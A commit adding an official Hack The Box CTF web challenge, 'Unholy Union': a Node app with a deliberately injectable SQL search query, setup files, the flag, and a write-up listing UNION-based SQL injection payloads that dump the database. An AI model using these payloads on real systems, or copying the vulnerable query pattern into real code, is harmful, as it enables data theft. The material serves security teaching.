added official hacktheboo2024 writeups
20
htb/hacktheboo2024/web/web_unholy_union/Dockerfile
Normal file
|
@ -0,0 +1,20 @@
|
|||
# Use the official Node.js image as a base
|
||||
FROM node:alpine
|
||||
|
||||
RUN apk add --no-cache --update mariadb mariadb-client supervisor gcc musl-dev mariadb-connector-c-dev
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY src/ .
|
||||
COPY config/supervisord.conf /etc/supervisord.conf
|
||||
COPY --chown=root entrypoint.sh /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
RUN npm install express request mysql2
|
||||
# Expose port 3000
|
||||
EXPOSE 3000
|
||||
|
||||
COPY flag.txt /flag.txt
|
||||
|
||||
# Command to run the application
|
||||
ENTRYPOINT [ "/entrypoint.sh" ]
|
68
htb/hacktheboo2024/web/web_unholy_union/README.md
Normal file
|
@ -0,0 +1,68 @@
|
|||

|
||||
|
||||
|
||||
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="6">Unholy Union</font>
|
||||
20<sup>th</sup> Oct 2024 / Document No. D24.xxx.xxx
|
||||
|
||||
Prepared By: Xclow3n
|
||||
|
||||
Challenge Author: Xclow3n
|
||||
|
||||
Difficulty: <font color=green>Very Easy</font>
|
||||
|
||||
Classification: Official
|
||||
|
||||
|
||||
|
||||
# [Synopsis](#synopsis)
|
||||
|
||||
Unholy Union is a very easy web challenge designed to help players understand and exploit SQL Injection.
|
||||
|
||||
# Skills Required
|
||||
- Basic knowledge of SQL
|
||||
|
||||
# Skills Learned
|
||||
- SQL Injection
|
||||
|
||||
# [Solution](#Solution)
|
||||
|
||||
Visiting the web app displays the following page:
|
||||

|
||||
|
||||
We can perform a search, which updates the SQL query, and clicking the search button shows the results in both the web app and the debug window.
|
||||

|
||||
|
||||
Let's add a quote to see if we can break out of the SQL query and inject our own commands.
|
||||

|
||||
|
||||
We get a syntax error, which means we can inject SQL. Let's retrieve all the existing databases using the following query:
|
||||
```
|
||||
Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.schemata) -- -
|
||||
```
|
||||

|
||||
|
||||
Running this query shows a database named `halloween_inventory` in addition to the default ones.
|
||||
|
||||
Next, let's fetch all the tables in this database with the following query:
|
||||
|
||||
```
|
||||
Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA='halloween_inventory') -- -
|
||||
```
|
||||

|
||||
|
||||
We see a table named `flag`. Now, let's find the columns in this table to retrieve data. Use this query:
|
||||
|
||||
```
|
||||
Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='flag') -- -
|
||||
```
|
||||

|
||||
|
||||
Now that we know the column and table names, let's fetch the flag using this query:
|
||||
|
||||
```
|
||||
Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(flag) FROM flag) -- -
|
||||
```
|
||||
|
||||

|
||||
|
||||
This completes the challenge! :)
|
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/banner.png
Normal file
After Width: | Height: | Size: 45 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/column.png
Normal file
After Width: | Height: | Size: 469 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/error.png
Normal file
After Width: | Height: | Size: 326 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/flag.png
Normal file
After Width: | Height: | Size: 479 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/home.png
Normal file
After Width: | Height: | Size: 287 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/htb.png
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/null.png
Normal file
After Width: | Height: | Size: 444 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/schema.png
Normal file
After Width: | Height: | Size: 480 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/search.png
Normal file
After Width: | Height: | Size: 490 KiB |
BIN
htb/hacktheboo2024/web/web_unholy_union/assets/table.png
Normal file
After Width: | Height: | Size: 478 KiB |
2
htb/hacktheboo2024/web/web_unholy_union/build-docker.sh
Normal file
|
@ -0,0 +1,2 @@
|
|||
docker build . -t very-easy-sqli
|
||||
docker run -it -p 3000:3000 very-easy-sqli
|
|
@ -0,0 +1,15 @@
|
|||
[supervisord]
|
||||
user=root
|
||||
nodaemon=true
|
||||
logfile=/dev/null
|
||||
logfile_maxbytes=0
|
||||
pidfile=/run/supervisord.pid
|
||||
|
||||
[program:node]
|
||||
command=node index.js
|
||||
directory=/app
|
||||
autorestart=true
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
53
htb/hacktheboo2024/web/web_unholy_union/entrypoint.sh
Normal file
|
@ -0,0 +1,53 @@
|
|||
#!/bin/ash
|
||||
|
||||
# Initialize & Start MariaDB
|
||||
mkdir -p /run/mysqld
|
||||
chown -R mysql:mysql /run/mysqld
|
||||
mysql_install_db --user=mysql --ldata=/var/lib/mysql
|
||||
mysqld --user=mysql --console --skip-networking=0 &
|
||||
|
||||
# Wait for mysql to start
|
||||
while ! mysqladmin ping -h'localhost' --silent; do echo 'not up' && sleep .2; done
|
||||
|
||||
mysql -u root << EOF
|
||||
DROP DATABASE IF EXISTS halloween_invetory;
|
||||
CREATE DATABASE IF NOT EXISTS halloween_invetory;
|
||||
|
||||
USE halloween_invetory;
|
||||
|
||||
CREATE TABLE IF NOT EXISTS flag (
|
||||
flag VARCHAR(255) NOT NULL
|
||||
);
|
||||
|
||||
INSERT INTO flag(flag) VALUES("$(cat /flag.txt)");
|
||||
|
||||
CREATE TABLE IF NOT EXISTS inventory (
|
||||
id INT AUTO_INCREMENT PRIMARY KEY,
|
||||
name VARCHAR(255) NOT NULL,
|
||||
description TEXT,
|
||||
origin VARCHAR(255),
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
|
||||
INSERT INTO inventory (name, description, origin) VALUES
|
||||
('Plumbus', 'A highly useful multi-purpose tool.', 'Planet Schlooch'),
|
||||
('Meeseeks Box', 'A box that creates Meeseeks for fulfilling tasks.', 'Planet Meeseekon'),
|
||||
('Portal Gun', 'A handheld device that creates portals between dimensions.', 'Earth Dimension C-137'),
|
||||
('Neutrino Bomb', 'A powerful bomb capable of destroying planets.', 'Planet Shlorp'),
|
||||
('Death Crystal', 'A crystal that shows possible death outcomes for its holder.', 'Froopyland');
|
||||
|
||||
INSERT INTO inventory (name, description, origin) VALUES
|
||||
('Space Cruiser', 'A fast vehicle for interstellar travel.', 'Galactic Federation'),
|
||||
('Fart Knocker', 'A vehicle used for high-speed chases.', 'Planet Gazorpazorp'),
|
||||
('Interdimensional Cable Car', 'A vehicle capable of traveling between dimensions.', 'Dimension 35-C'),
|
||||
('Hovercraft', 'A floating vehicle for all-terrain exploration.', 'Planet Squanch'),
|
||||
('Galactic Freight Ship', 'A massive ship used for transporting goods across galaxies.', 'Alpha Centauri');
|
||||
|
||||
CREATE USER 'user'@'localhost' IDENTIFIED BY 'user_password';
|
||||
GRANT ALL PRIVILEGES ON halloween_invetory.* TO 'user'@'localhost';
|
||||
FLUSH PRIVILEGES;
|
||||
|
||||
EOF
|
||||
|
||||
|
||||
/usr/bin/supervisord -c /etc/supervisord.conf
|
1
htb/hacktheboo2024/web/web_unholy_union/flag.txt
Normal file
|
@ -0,0 +1 @@
|
|||
HTB{uN10n_1nj3ct10n_4r3_345y_t0_l34rn_r1gh17?}
|
66
htb/hacktheboo2024/web/web_unholy_union/src/index.js
Normal file
|
@ -0,0 +1,66 @@
|
|||
const express = require("express");
|
||||
const path = require("path");
|
||||
const mysql = require("mysql2/promise");
|
||||
const app = express();
|
||||
|
||||
// Create a MySQL connection pool
|
||||
const pool = mysql.createPool({
|
||||
host: "127.0.0.1",
|
||||
user: "user",
|
||||
password: "user_password",
|
||||
database: "halloween_invetory",
|
||||
waitForConnections: true,
|
||||
connectionLimit: 10,
|
||||
queueLimit: 0,
|
||||
});
|
||||
|
||||
app.use((req, res, next) => {
|
||||
res.header("Access-Control-Allow-Origin", "*");
|
||||
res.header(
|
||||
"Access-Control-Allow-Headers",
|
||||
"Origin, X-Requested-With, Content-Type, Accept",
|
||||
);
|
||||
next();
|
||||
});
|
||||
|
||||
app.use(express.static(path.join(__dirname, "public")));
|
||||
|
||||
app.get("/", async (req, res) => {
|
||||
const query = req.query.query ? req.query.query : "";
|
||||
let results = { status: null, message: null };
|
||||
|
||||
res.sendFile(path.join(__dirname, "views", "index.html"));
|
||||
});
|
||||
|
||||
app.get("/search", async (req, res) => {
|
||||
const query = req.query.query ? req.query.query : "";
|
||||
let results = { status: null, message: null };
|
||||
|
||||
try {
|
||||
let sqlQuery;
|
||||
|
||||
if (query === "") {
|
||||
sqlQuery = "SELECT * FROM inventory";
|
||||
} else {
|
||||
sqlQuery = `SELECT * FROM inventory WHERE name LIKE '%${query}%'`;
|
||||
}
|
||||
|
||||
const [rows] = await pool.query(sqlQuery);
|
||||
results.status = "success";
|
||||
results.message = rows;
|
||||
} catch (err) {
|
||||
console.error("Error executing query:", err.stack);
|
||||
results.status = "failed";
|
||||
results.message = err.message;
|
||||
}
|
||||
|
||||
return res.json(results);
|
||||
});
|
||||
|
||||
app.use((req, res) => {
|
||||
res.sendFile(path.join(__dirname, "views", "404.html"));
|
||||
});
|
||||
|
||||
app.listen(3000, () => {
|
||||
console.log(`Proxy server is running on http://localhost:3000`);
|
||||
});
|
1695
htb/hacktheboo2024/web/web_unholy_union/src/package-lock.json
generated
Normal file
10
htb/hacktheboo2024/web/web_unholy_union/src/package.json
Normal file
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"dependencies": {
|
||||
"express": "^4.21.0",
|
||||
"mysql2": "^3.11.3",
|
||||
"request": "^2.88.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"nodemon": "^3.1.7"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,153 @@
|
|||
body {
|
||||
background-color: #061f2b;
|
||||
color: white;
|
||||
font-family: "Press Start 2P";
|
||||
/* font-weight: 200; */
|
||||
font-size: small;
|
||||
font-style: normal;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
header h1 {
|
||||
color: #333;
|
||||
font-size: 32px;
|
||||
}
|
||||
|
||||
.warning {
|
||||
color: #ff008d;
|
||||
}
|
||||
|
||||
nav {
|
||||
background-color: #ea00d9;
|
||||
}
|
||||
|
||||
div button {
|
||||
background-color: #ea00d9;
|
||||
color: white;
|
||||
}
|
||||
|
||||
nav a {
|
||||
color: white;
|
||||
}
|
||||
|
||||
header p {
|
||||
color: #666;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.genres {
|
||||
font-weight: bold;
|
||||
color: #007bff;
|
||||
}
|
||||
|
||||
.section-header {
|
||||
/* background-color: #130981; */
|
||||
/* color: ; */
|
||||
border: 2px solid white;
|
||||
padding: 7px;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
/* aa */
|
||||
|
||||
.content {
|
||||
flex: 1;
|
||||
padding: 20px;
|
||||
background-color: #f0f0f0;
|
||||
}
|
||||
.footer {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
background-color: #091833;
|
||||
color: white;
|
||||
transition: height 0.3s;
|
||||
overflow: hidden;
|
||||
}
|
||||
.footer.collapsed {
|
||||
height: 40px;
|
||||
}
|
||||
.footer.expanded {
|
||||
height: 45%;
|
||||
}
|
||||
|
||||
.footer.fullscreen {
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.footer-sections {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
.footer-header {
|
||||
/* margin-left: 20px; */
|
||||
padding-left: 0.75rem !important;
|
||||
display: flex;
|
||||
/* justify-content: space-around; */
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
background-color: #644b77;
|
||||
padding: 10px 0;
|
||||
}
|
||||
.footer-section-container {
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
width: 100%;
|
||||
height: calc(100% - 40px);
|
||||
}
|
||||
.footer-section {
|
||||
width: 50%;
|
||||
padding: 10px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
.footer-section h4 {
|
||||
margin: 0;
|
||||
padding: 10px 0;
|
||||
background-color: #644b77;
|
||||
text-align: center;
|
||||
}
|
||||
.footer-section p {
|
||||
padding: 10px;
|
||||
background-color: #555;
|
||||
text-align: center;
|
||||
height: calc(100% - 40px);
|
||||
margin: 0;
|
||||
}
|
||||
h4 {
|
||||
margin: 0;
|
||||
padding: 0 20px;
|
||||
font-size: 0.7rem;
|
||||
}
|
||||
|
||||
.footer-header button {
|
||||
display: flex; /* Enable Flexbox */
|
||||
align-items: center; /* Center vertically */
|
||||
justify-content: center; /* Center horizontally */
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
padding: 0; /* Remove default padding */
|
||||
margin-right: 5px;
|
||||
border: none; /* Remove default border */
|
||||
/* background: transparent; Remove default background */
|
||||
cursor: pointer; /* Add pointer cursor on hover */
|
||||
border-radius: 50%; /* Make the button circular */
|
||||
}
|
||||
|
||||
.footer-header svg {
|
||||
width: 12px; /* Set the SVG width */
|
||||
height: 12px; /* Set the SVG height */
|
||||
}
|
||||
|
||||
pre {
|
||||
white-space: pre-wrap;
|
||||
word-wrap: break-word;
|
||||
border: none;
|
||||
background-color: none;
|
||||
}
|
|
@ -0,0 +1,102 @@
|
|||
function updateQuery() {
|
||||
const query = document.getElementById("searchInput").value;
|
||||
let sqlQuery;
|
||||
|
||||
// If the query is empty, show the full inventory query
|
||||
if (query === "") {
|
||||
sqlQuery = "SELECT * FROM inventory";
|
||||
} else {
|
||||
sqlQuery = `SELECT * FROM inventory WHERE name LIKE '%${query}%'`;
|
||||
}
|
||||
|
||||
// Update the SQL query and re-highlight using Prism.js
|
||||
const debugQuery = document.getElementById("debugQuery");
|
||||
debugQuery.textContent = sqlQuery;
|
||||
Prism.highlightElement(debugQuery); // Re-highlight the SQL query
|
||||
}
|
||||
|
||||
async function performQuery() {
|
||||
const query = document.querySelector("input").value;
|
||||
const container = document.getElementById("resultsContainer");
|
||||
|
||||
// Perform the fetch request with the user's input
|
||||
const response = await fetch("/search?query=" + query).then((response) =>
|
||||
response.json(),
|
||||
);
|
||||
|
||||
console.log(response.message);
|
||||
console.log(response.status);
|
||||
|
||||
// Check if the message is empty
|
||||
if (
|
||||
response.status === "success" &&
|
||||
response.message &&
|
||||
response.message.length > 0
|
||||
) {
|
||||
const results = response.message;
|
||||
const table = document.createElement("table");
|
||||
table.setAttribute("class", "table table-bordered");
|
||||
const tableHeader = document.createElement("tr");
|
||||
|
||||
const headers = Object.keys(results[0]);
|
||||
headers.forEach((header) => {
|
||||
const th = document.createElement("th");
|
||||
th.textContent = header;
|
||||
tableHeader.appendChild(th);
|
||||
});
|
||||
|
||||
table.appendChild(tableHeader);
|
||||
|
||||
results.forEach((row) => {
|
||||
const tableRow = document.createElement("tr");
|
||||
headers.forEach((header) => {
|
||||
const td = document.createElement("td");
|
||||
td.textContent = row[header];
|
||||
tableRow.appendChild(td);
|
||||
});
|
||||
table.appendChild(tableRow);
|
||||
});
|
||||
|
||||
container.innerHTML = "";
|
||||
container.appendChild(table);
|
||||
} else {
|
||||
// If the response is empty, display "Cannot find"
|
||||
container.innerHTML = `<p class="warning">Cannot find any matching items.</p>`;
|
||||
}
|
||||
|
||||
// Update and highlight the SQL query in real-time based on user input
|
||||
updateQuery();
|
||||
|
||||
// Highlight the JSON response (output)
|
||||
const debugMessage = document.getElementById("debugMessage");
|
||||
debugMessage.textContent = JSON.stringify(
|
||||
response.message || "No data returned",
|
||||
null,
|
||||
2,
|
||||
);
|
||||
Prism.highlightElement(debugMessage); // Re-highlight the JSON output
|
||||
}
|
||||
|
||||
document.addEventListener("DOMContentLoaded", () => {
|
||||
updateQuery(); // Highlight the initial query on load
|
||||
});
|
||||
|
||||
const footer = document.getElementById("footer");
|
||||
const minimize = document.getElementById("minimize");
|
||||
const expand = document.getElementById("expand");
|
||||
const fullscreen = document.getElementById("fullscreen");
|
||||
const maincontent = document.getElementById("main-content");
|
||||
|
||||
expand.addEventListener("click", () => {
|
||||
footer.style.height = "45%";
|
||||
maincontent.style.padding = "0 0 30% 0";
|
||||
});
|
||||
|
||||
minimize.addEventListener("click", () => {
|
||||
footer.style.height = "40px";
|
||||
maincontent.style.padding = "0";
|
||||
});
|
||||
|
||||
fullscreen.addEventListener("click", () => {
|
||||
footer.style.height = "100%";
|
||||
});
|
11
htb/hacktheboo2024/web/web_unholy_union/src/views/404.html
Normal file
|
@ -0,0 +1,11 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Not Found</title>
|
||||
</head>
|
||||
<body>
|
||||
<p>The document you request is not found.</p>
|
||||
</body>
|
||||
</html>
|
249
htb/hacktheboo2024/web/web_unholy_union/src/views/index.html
Normal file
|
@ -0,0 +1,249 @@
|
|||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Haunted Inventory Manager - Halloween Edition</title>
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/css/bootstrap.min.css"
|
||||
integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm"
|
||||
crossorigin="anonymous"
|
||||
/>
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css"
|
||||
/>
|
||||
<link rel="stylesheet" href="/static/css/styles.css" />
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link
|
||||
rel="preconnect"
|
||||
href="https://fonts.gstatic.com"
|
||||
crossorigin=""
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Creepster&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<!-- Prism.js for syntax highlighting -->
|
||||
<link
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.28.0/themes/prism-okaidia.min.css"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.28.0/prism.min.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.28.0/components/prism-sql.min.js"></script>
|
||||
<style>
|
||||
body {
|
||||
background-color: #0c0c0c;
|
||||
color: #e4e4e4;
|
||||
font-family: "Creepster", cursive;
|
||||
}
|
||||
|
||||
h3,
|
||||
p {
|
||||
color: #ff7518; /* Halloween orange */
|
||||
}
|
||||
|
||||
.btn {
|
||||
background-color: #ff7518;
|
||||
color: black;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.btn:hover {
|
||||
background-color: #ff8e3c;
|
||||
}
|
||||
|
||||
input[type="text"] {
|
||||
background-color: #2d2d2d;
|
||||
color: white;
|
||||
/* border: 2px solid #ff7518; */
|
||||
}
|
||||
|
||||
input[type="text"]::placeholder {
|
||||
color: #ff8e3c;
|
||||
}
|
||||
|
||||
.footer-header h4 {
|
||||
color: #e4e4e4;
|
||||
font-family: "Creepster", cursive;
|
||||
}
|
||||
|
||||
/* Halloween themed borders and background */
|
||||
.container {
|
||||
background-color: #2d2d2d;
|
||||
border: 4px solid #ff7518;
|
||||
border-radius: 15px;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.footer {
|
||||
background-color: #0c0c0c;
|
||||
}
|
||||
|
||||
/* Halloween themed scrollbars */
|
||||
::-webkit-scrollbar {
|
||||
width: 10px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-track {
|
||||
background: #0c0c0c;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: #ff7518;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb:hover {
|
||||
background: #ff8e3c;
|
||||
}
|
||||
|
||||
.warning {
|
||||
color: #ff7518;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Halloween themed icons for minimize, expand, and fullscreen */
|
||||
#minimize svg,
|
||||
#expand svg,
|
||||
#fullscreen svg {
|
||||
fill: #ff7518;
|
||||
}
|
||||
|
||||
#minimize:hover svg,
|
||||
#expand:hover svg,
|
||||
#fullscreen:hover svg {
|
||||
fill: #ff8e3c;
|
||||
}
|
||||
|
||||
/* Prism syntax highlighting customization */
|
||||
pre[class*="language-"] {
|
||||
height: 100%;
|
||||
overflow: scroll;
|
||||
background: #1e1e1e;
|
||||
color: #ff7518;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="container mt-5" id="main-content">
|
||||
<div class="p-3">
|
||||
<h3>🎃 Haunted Inventory Manager 🎃</h3>
|
||||
<br />
|
||||
<p>
|
||||
Welcome to the spooky future of haunted inventory
|
||||
management. Keep track of your eerie and cursed items... if
|
||||
you dare!
|
||||
</p>
|
||||
<p class="warning">
|
||||
⚠️ Attention: Our system is haunted by an unknown force. The
|
||||
system is locked down for your safety. ⚠️
|
||||
</p>
|
||||
<p>
|
||||
Search the cursed inventory manually below, if you dare...
|
||||
👻
|
||||
</p>
|
||||
<input
|
||||
type="text"
|
||||
name="query"
|
||||
id="searchInput"
|
||||
style="width: 100%"
|
||||
class="p-2"
|
||||
placeholder="Search for haunted items..."
|
||||
value=""
|
||||
oninput="updateQuery()"
|
||||
/>
|
||||
<button type="submit" class="btn mt-3" onclick="performQuery()">
|
||||
Search
|
||||
</button>
|
||||
<div class="col-xs-1 section-header mt-5" align="center">
|
||||
Results
|
||||
</div>
|
||||
<div id="resultsContainer"></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="footer expanded" id="footer">
|
||||
<div class="footer-sections">
|
||||
<div class="footer-header">
|
||||
<button id="minimize" class="btn-danger">
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="16"
|
||||
height="16"
|
||||
fill="white"
|
||||
class="bi bi-dash"
|
||||
viewBox="0 0 16 16"
|
||||
>
|
||||
<path
|
||||
d="M4 8a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 0 1h-7A.5.5 0 0 1 4 8"
|
||||
></path>
|
||||
</svg>
|
||||
</button>
|
||||
<button id="expand" class="btn-warning">
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="16"
|
||||
height="16"
|
||||
fill="white"
|
||||
class="bi bi-arrows-angle-expand"
|
||||
viewBox="0 0 16 16"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
d="M5.828 10.172a.5.5 0 0 0-.707 0l-4.096 4.096V11.5a.5.5 0 0 0-1 0v3.975a.5.5 0 0 0 .5.5H4.5a.5.5 0 0 0 0-1H1.732l4.096-4.096a.5.5 0 0 0 0-.707m4.344-4.344a.5.5 0 0 0 .707 0l4.096-4.096V4.5a.5.5 0 1 0 1 0V.525a.5.5 0 0 0-.5-.5H11.5a.5.5 0 0 0 0 1h2.768l-4.096 4.096a.5.5 0 0 0 0 .707"
|
||||
></path>
|
||||
</svg>
|
||||
</button>
|
||||
<button id="fullscreen" class="btn-success">
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="16"
|
||||
height="16"
|
||||
fill="white"
|
||||
class="bi bi-arrows-fullscreen"
|
||||
viewBox="0 0 16 16"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
d="M5.828 10.172a.5.5 0 0 0-.707 0l-4.096 4.096V11.5a.5.5 0 1 0 1 0v3.975a.5.5 0 0 0 .5.5H4.5a.5.5 0 0 0 0-1H1.732l4.096-4.096a.5.5 0 0 0 0-.707m4.344 0a.5.5 0 0 1 .707 0l4.096 4.096V11.5a.5.5 0 1 1 1 0v3.975a.5.5 0 0 1-.5.5H11.5a.5.5 0 0 1 0-1h2.768l-4.096-4.096a.5.5 0 0 1 0-.707m0-4.344a.5.5 0 0 0 .707 0l4.096-4.096V4.5a.5.5 0 1 0 1 0V.525a.5.5 0 0 0-.5-.5H11.5a.5.5 0 0 0 0 1h2.768l-4.096 4.096a.5.5 0 0 0 0 .707m-4.344 0a.5.5 0 0 1-.707 0L1.025 1.732V4.5a.5.5 0 0 1-1 0V.525a.5.5 0 0 1 .5-.5H4.5a.5.5 0 0 1 0 1H1.732l4.096 4.096a.5.5 0 0 1 0 .707"
|
||||
></path>
|
||||
</svg>
|
||||
</button>
|
||||
<h4>👻 Debug Information</h4>
|
||||
</div>
|
||||
<div class="footer-section-container">
|
||||
<div class="footer-section">
|
||||
<h4>SQL Query</h4>
|
||||
<pre
|
||||
class="language-sql"
|
||||
tabindex="0"
|
||||
><code id="debugQuery" class="language-sql"><span class="token keyword">SELECT</span> <span class="token operator">*</span> <span class="token keyword">FROM</span> inventory <span class="token keyword">WHERE</span> name <span class="token operator">LIKE</span> <span class="token string">'%a%'</span></code></pre>
|
||||
</div>
|
||||
<div class="footer-section">
|
||||
<h4>SQL Output</h4>
|
||||
<pre
|
||||
class="language-js"
|
||||
tabindex="0"
|
||||
><code id="debugMessage" class="language-js"></code></pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script
|
||||
src="https://code.jquery.com/jquery-3.2.1.slim.min.js"
|
||||
integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
|
||||
crossorigin="anonymous"
|
||||
></script>
|
||||
<script
|
||||
src="https://cdn.jsdelivr.net/npm/popper.js@1.12.9/dist/umd/popper.min.js"
|
||||
integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K/ScQsAP7W3mgPxhU9K"
|
||||
crossorigin="anonymous"
|
||||
></script>
|
||||
<script
|
||||
src="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js"
|
||||
integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
|
||||
crossorigin="anonymous"
|
||||
></script>
|
||||
<script src="static/js/script.js"></script>
|
||||
</body>
|
||||
</html>
|